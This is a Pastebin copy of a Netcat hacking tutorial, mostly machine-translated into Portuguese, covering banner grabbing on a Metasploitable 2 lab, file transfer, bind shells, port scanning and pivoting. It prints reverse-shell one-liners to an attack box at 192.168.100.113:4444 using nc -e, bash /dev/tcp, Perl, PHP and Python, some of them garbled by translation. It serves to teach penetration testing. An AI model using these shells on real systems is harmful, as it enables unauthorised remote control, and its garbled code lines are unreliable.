Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Captura de banner do Netcat
- O comando a seguir é usado para o banner de captura de serviço (faça uma conexão bruta para um serviço):
- nc [endereço ip] [porta]
- Vamos tentar isso no serviço FTP no Metasploitable 2 que está sendo executado na porta 21:
- nc 192.168.100.100 21
- nc [ip] [port] é usado para fazer uma conexão bruta com a porta que retornará um banner de serviço quando estiver disponível.
- Conexão bruta do Netcat
- Para demonstrar como funciona uma conexão bruta, emitiremos alguns comandos FTP depois de estarmos conectados ao host de destino no serviço FTP. Vamos ver se o acesso anônimo é permitido neste servidor FTP, emitindo o comando USER e PASS seguido por anônimo.
- Interação do servidor Web
- O Netcat também pode ser usado para interagir com servidores da Web, emitindo solicitações HTTP. Com o seguinte comando, podemos pegar o banner do serviço da web em execução no Metasploitable 2:
- nc 192.168.100.108 80
- E então execute este pedido HTTP:
- HEAD / HTTP / 1.0
- O servidor responde com o banner do servidor: Apache / 2.2.8 (Ubuntu) DAV / 2 e a versão do PHP.
- Para recuperar a página de nível superior no servidor da web, podemos emitir o seguinte comando:
- nc 192.168.100.108 80
- E então execute este pedido HTTP:
- GET / HTTP / 1.0
- Transferências de arquivos com o Netcat
- Neste exemplo, estaremos usando uma conexão Netcat para transferir um arquivo de texto. Vamos supor que temos a execução de comandos remotos no host de destino e queremos transferir um arquivo da caixa de ataque para o host. Primeiro, precisamos configurar um ouvinte no host de destino e nos conectar a ele a partir da caixa de ataque. Nós estaremos usando a porta 8080 para essa finalidade e protegeremos o arquivo para a área de trabalho:
- nc -lvp 8080> /root/Desktop/transfer.txt
- Na caixa de ataque nos conectamos à porta 8080 e enviamos um nome de arquivo transfer.txt:
- nc 192.168.100.107 8080 </root/Desktop/transfer.txt
- Do que nós atingimos control + c e catamos o conteúdo do arquivo na caixa de ataque e no host de destino.
- Shell reversa
- Exemplo de shell reverso do Netcat
- Para configurar um shell reverso do Netcat, precisamos seguir as seguintes etapas:
- Configurar um ouvinte Netcat.
- Conecte-se ao ouvinte do Netcat a partir do host de destino.
- Emita comandos no host de destino da caixa de ataque.
- Primeiro nós configuramos um listener Netcat na caixa de ataque que está escutando na porta 4444 com o seguinte comando:
- nc –lvp 4444
- Em seguida, emitimos o seguinte comando no host de destino para nos conectarmos à nossa caixa de ataque (lembre-se de que temos execução remota de código nesta caixa):
- Para o Linux:
- nc 192.168.100.113 4444 –e / bin / bash
- Para Windows:
- nc.exe 192.168.100.113 4444 –e cmd.exe
- Na caixa de ataque, agora temos um shell bash no host de destino e temos controle total sobre essa caixa no contexto da conta que iniciou o shell reverso. Neste caso, o usuário root iniciou o shell, o que significa que temos privilégios de root no host de destino.
- Shell reverso sem o Netcat no host de destino
- Uma desvantagem importante no exemplo mostrado é que você precisa do Netcat no host de destino, o que muitas vezes não é o caso no cenário do mundo real. Em alguns casos, o Netcat está presente ou temos uma maneira de instalá-lo, mas, em muitos casos, precisamos usar maneiras alternativas de nos conectarmos novamente à caixa de ataque. Vamos dar uma olhada em algumas maneiras alternativas de configurar um shell reverso.
- Concha inversa Bash
- Com também pode usar o Bash para iniciar um shell reverso do host de destino para a caixa de ataque usando o seguinte comando:
- bash -i> & /dev/tcp/192.168.100.113/4444 0> & 1
- https://www.hackingtutorials.org/wp-content/uploads/2016/11/Netcat-basics-Reverse-shell-bash-6.jpg
- Como podemos ver, o Netcat nessa caixa de ataque também aceita um shell reverso bash.
- Shell reverso do Perl
- Se o Perl estiver presente nesse host remoto, também podemos iniciar um shell reverso usando o Perl. Execute o seguinte comando no host de destino para configurar o shell reverso:
- perl -e ‘use Socket;$i=”192.168.100.113″;$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
- Shell reverso do PHP
- When PHP is present on the compromised host, which is often the case on webservers, it is a great alternative to Netcat, Perl and Bash. Let’s run the following code to use PHP for the reverse shell to the attack box:
- php -r '$ sock = fsockopen (“192.168.100.113”, 4444); exec (“/ bin / sh-i <& 3> & 3 2> & 3”);'
- Shell reverso do Python
- O Python também é uma linguagem muito comumente instalada em máquinas Linux. O seguinte comando emite um shell reverso usando Python:
- python -c 'import socket, subprocesso, so; s = socket.socket (socket.AF_INET, socket.SOCK_STREAM); s.connect (("192.168.100.113", 4444)); os.dup2 (s.fileno () 0); os.dup2 (s.fileno (), 1); os.dup2 (s.fileno (), 2); p = subprocess.call ([“/ bin / sh”, - i ”]);
- Um shell de ligação é um shell que se liga a uma porta específica no host de destino para escutar conexões de entrada. Vamos dar uma olhada na visualização de um shell Netcat de ligação:
- https://www.hackingtutorials.org/wp-content/uploads/2016/11/Netcat-bind-shell.jpg'
- Nesta visualização, o alvo liga um shell Bash à porta 4444 usando um ouvinte Netcat. O invasor se conecta a essa porta usando um comando simples do Netcat. As etapas para configurar um shell de ligação são as seguintes:
- Vincule um shell bash à porta 4444 usando o Netcat.
- Conecte-se ao host de destino na porta 4444 da caixa de ataque.
- Emita comandos no host de destino da caixa de ataque.
- https://www.hackingtutorials.org/wp-content/uploads/2016/11/Netcat-Bind-shell-example.jpg
- O host de destino vincula um shell Bash à porta 4444, do que o ataque se conecta a essa porta usando o Netcat e ganha um shell de raiz no destino.
- Saída Piping Netcat para arquivos
- Primeiro, vamos direcionar a saída de uma varredura simples da porta netcat para um arquivo chamado output.txt. Em geral, a saída da linha de comando pode ser enviada para um arquivo usando o operador> seguido por um nome de arquivo. Para o Netcat, isso não funcionará porque precisamos direcionar stderr e stdout para o arquivo. Podemos fazer isso usando o seguinte comando:
- nc -vv -z localhost 1-100> output.txt 2> & 1
- https://www.hackingtutorials.org/wp-content/uploads/2017/03/1-Netcat-write-output-to-file.jpg
- Esse comando gerou todo o resultado da varredura de porta para o arquivo output.txt. Podemos usar o seguinte comando para filtrar a saída para portas abertas usando o grep:
- nc -vv -z localhost 1-100 2> & 1 | grep open> output.txt
- https://www.hackingtutorials.org/wp-content/uploads/2017/03/2-Netcat-grep-output-to-file.jpg
- Este comando apenas envia as portas abertas para o arquivo de texto. Vamos ver como podemos canalizar a entrada e a saída do netcat para dinamizar as conexões de rede.
- Rotação de rede do Windows com o Netcat
- Vamos supor que temos 2 alvos do Windows e 1 caixa de ataque do Kali Linux. Nós comprometemos o host 1 do Windows da máquina Kali Linux e queremos ganhar um shell no Windows host 2, que é acessível somente a partir do host Windows 1. Precisamos direcionar o tráfego do host Kali Linux para o host 1 do Windows e redirecioná-lo para o host Windows 2. A saída deve ser enviada de volta para o host 1 do Windows, onde será redirecionada de volta para a máquina Kali Linux. Confuso? Vamos dar uma olhada no gráfico a seguir para uma melhor compreensão:
- https://www.hackingtutorials.org/wp-content/uploads/2017/03/3-Netcat-Windows-pivoting.jpg
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement